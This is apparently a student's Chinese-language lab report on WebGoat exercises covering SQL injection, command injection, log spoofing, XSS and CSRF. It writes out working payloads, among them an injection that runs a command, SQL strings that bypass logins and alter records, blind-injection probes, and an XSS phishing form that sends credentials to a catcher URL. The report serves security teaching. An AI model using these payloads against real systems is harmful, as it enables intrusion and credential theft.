《网络攻防》Web安全基础实践
20145224陈颢文 《网络攻防》Web安全基础实践
基础问题回答
SQL注入攻击原理,如何防御:
- 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
- 程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;
XSS攻击的原理,如何防御:
- XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
- 程序员应该防止下发界面显示html标签,把</>等符号转义。
CSRF攻击原理,如何防御:
- 即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com
的transferFunds.do
页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。
实验总结与体会
穷则变、变则通、通则久;做攻击就是这样的,方法无非就那么几个,我们要做的是变着法子去运用这些方法来达到攻击目的。
实践过程记录
启动WebGoat
- 在终端使用指令
java -jar webgoat-container-7.0.1-war-exec.jar
,等待其显示信息: Starting ProtocolHandler ["http-bio-8080"]
;
- 打开浏览器,访问
localhost:8080/WebGoat
,登陆即可开始答题。
启动BurpSuite
- 在桌面左边的快捷栏找到,打开他,一直
next
就好; Proxy
->Options
,点击Add
,自行配置一个端口号,配好以后记得要勾选刚刚配好的那一条记录:
- 打开浏览器的设置页,
Advanced
->Network
->Settings
:
- 按照下图进行设置:
- 若需要将网页拦截下来的时候先点击
intercept
把他打开:
Injection Flaws
- Command Injection:命令注入,要求能够在目标主机上执行任意系统命令即可;
首先我们需要确定进行注入的位置,网页中并没有文本框,只有一个下拉的选项栏,所以我们只能修改这个下拉栏的值。有两种方式可以修改,可以使用BurpSuite
拦截再修改,也可以直接修改页面源代码;BurpSuite方法再周岐浩的博客里说的比较详细了,这里我就交大家使用修改页面代码的方法:
使用组合键Shift+Ctrl+C
查看页面源代码,鼠标单击下拉选项栏,这时候会自动的帮你定位到相应的代码段,找到其中一个选项,右键鼠标Edit As HTML
,这时候你就可以编辑它啦;
直接在选项后加上"&&ifconfig"
即可,然后回到网页,找到刚刚修改过的选项,提交! - Numeric SQL Injection:数字型SQL注入,要求通过注入SQL字符串的方式查看所有的天气数据;
这个和上一个实验很像,同样是得修改下拉栏,方法就不再赘述,在Value后加上or 1 = 1 --
即可; - Log Spoofing:日志欺骗,要求使用户名为“admin”的用户在日志中显示“成功登录”(实际上并没有成功);
这个实验主要是为了欺骗人眼,由于页面会将输入的用户名返回,所以我们可以在用户名上动手脚,输入用户名%0d%0aLogin Succeeded for username: admin
;
其中%0a%0d
是ASCII码的回车换行的意思,效果如下图:
- String SQL Injection:字符串注入,要求通过SQL注入将所有信用卡信息显示出来;
有文本框的题相对来说都比较轻松,输入' or 1 = 1 --
即可; - LAB SQL Injection【SQL注入实验】:
①String SQL Injection:字符串型注入,要求使用SQL注入绕过认证,实现无密码登陆;
先在密码栏输入' or 1 = 1 --
试试,发现根本输不了这么长,我们看看他的源代码,原来最长只能输入8位,那就改呗,把长度限定改为15,把文本框格式改为text
!
②本节课程只能在WebGoat开发版本上完成。跳过!
③Numeric SQL Injection:数字型注入,要求使用一个普通员工的账户,浏览其BOSS的账户信息;
首先通过Larry的账户登陆(密码为larry),我们先试着把Value的值改为Boss的对应值112,无果。又试着修改为112 or 1= 1,这次成功了输出信息,但是还是Larry的信息,我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下112 or 1=1 order by salary desc
;
④本节课程只能在WebGoat开发版本上完成。跳过! - Database Backdoors:数据库后门,要求使用SQL注入修改员工工资;
如果熟悉SQL语句的话可以指定,修改信息用update
语句,具体注入语句为:101 or 1=1; update employee set salary=100000
- Blind Numeric SQL Injection:数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
盲注入的话真的很烦心,就是不停利用101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );
来猜测,利用折半查找的思想,我们最终确定答案为2364
- Blind String SQL Injection:字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
这和上一题思路一样,构造语句猜呗,只不过是猜ASCII的值罢了,答案是Jill;
每道题我都给大家翻译好啦,大家可以先自己试着去做,其实都不太难~
Cross-Site Scripting (XSS)
- Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到
http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
;
以下是代码示例:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR><H3>This feature requires account login:</H2>
<br>
<br>
Enter Username:
<br>
<input type="text" name="user">
<br>
Enter Password:
<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
效果如下:
- Stored XSS Attacks:存储型XSS攻击,要求在信件中写入一个网页或弹窗;
那就加个弹窗呗<SCRIPT>alert('Hi,5224!');</SCRIPT>
- Reflected XSS Attacks:反射型XSS攻击,要求得到脚本访问信用卡表单字段;
示例代码如下:
<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1){
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText;
while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>");
document.write(str1);}
</script>");
- Cross Site Repuest Forgery:跨站请求伪造,要求将跳转到指定网页的指令隐藏在图片中,将这图片放在邮件里发布;
伪造一个图片呗:<img src='attack?Screen=310&menu=900&transferFunds=5000'>
- CSRF Prompt By-Pass:绕过CSRF确认,要求制作两张图片,第一个请求用户资金转账,第二个用于自动处理第一个请求所触发的确认,原理同上一个实验;
第一张图片和上一题一样;
第二图为:<img src='attack?Screen=284&menu=900&transferFunds=CONFIRM'>
- CSRF Token By-Pass :绕过CSRF Token,用脚本来获取令牌:
这我也不会啊,再研究研究吧
《网络攻防》Web安全基础实践的更多相关文章
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 20145335郝昊《网络攻防》Exp9 Web安全基础实践
20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155304 《网络对抗》Exp9 web安全基础实践
20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...
- 20155306白皎 《网络对抗》 Exp9 Web安全基础实践
20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...
- 20145336 张子扬 《网络对抗技术》 web安全基础实践
2014536 张子扬<网络攻防>Exp9 Web安全基础实践 实验准备 开启webgoat 1)开启webgoat,打开WebGoat: java -jar webgoat-contai ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145120黄玄曦《网络对抗》Web安全基础实践
20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...
随机推荐
- 会话技术Cookie&Session
1.会话技术概述 从打开浏览器访问某个站点,到关闭这个浏览器的整个过程,称为一次会话.会话技术用于记录本次会话中客户端的状态与数据. 会话技术分为Cookie和Session: Cookie:数据存储 ...
- spring boot 整合kafka 报错 Exception thrown when sending a message with key='null' and payload=JSON to topic proccess_trading_end: TimeoutException: Failed to update metadata after 60000 ms.
org.springframework.kafka.support.LoggingProducerListener- Exception thrown when sending a message w ...
- iOS-tableView会卡顿
其实影响tableView卡顿的因素有很多,我也就其中一些常见的问题来说一下. 在tableView里的tableViewCell中使用许多图片的时候,而且我们大量使用的是 xxx.clipsToBo ...
- Android 4.4 (KitKat) SMS Apis Change——Android 4.4的一个重大变化
Android团队通过Android开发博客透漏今年会放出Android 4.4 (KitKat) ,同时更新了 SMS 的部分API.博客上讲只有default SMS app才能对短信数据库有写权 ...
- 【BZOJ3207】花神的嘲讽计划Ⅰ Hash+主席树
[BZOJ3207]花神的嘲讽计划Ⅰ Description 背景 花神是神,一大癖好就是嘲讽大J,举例如下: “哎你傻不傻的![hqz:大笨J]” “这道题又被J屎过了!!” “J这程序怎么跑这么快 ...
- resin配置
第一种方式: 在本机调试Resin服务,一般是在Eclipse IDE中进行,这样即可以快速的在开发环境中启动/终止Resin,又可以很方便的Debug程序.跟踪异常栈. 在任何版本的 ...
- delphi 遇到问题、报错等
解决方法:using Windows
- delphi,增删改查问题记录
新增时获取新的主键方法 1.oracle :sys_guid() 写法: 2.sql:pGetGUID 写法: {**************************************** ...
- easyui的datagrid无数据时下方滚动条不显示的解决办法(标题栏显示不完全)
easyui在写datagrid的时候标题栏有时候因为太多.太长所以无法显示所有的列,而且没数据的时候下方的滚动条是不显示的,这样就无法显示所有的列了.解决办法如下: onLoadSuccess: f ...
- 隐藏显示终端的光标(shell echo,linux c printf)
https://www.cnblogs.com/niocai/archive/2011/11/11/2245727.html 一.使用shell 的 echo 命令实现. echo -ne <c ...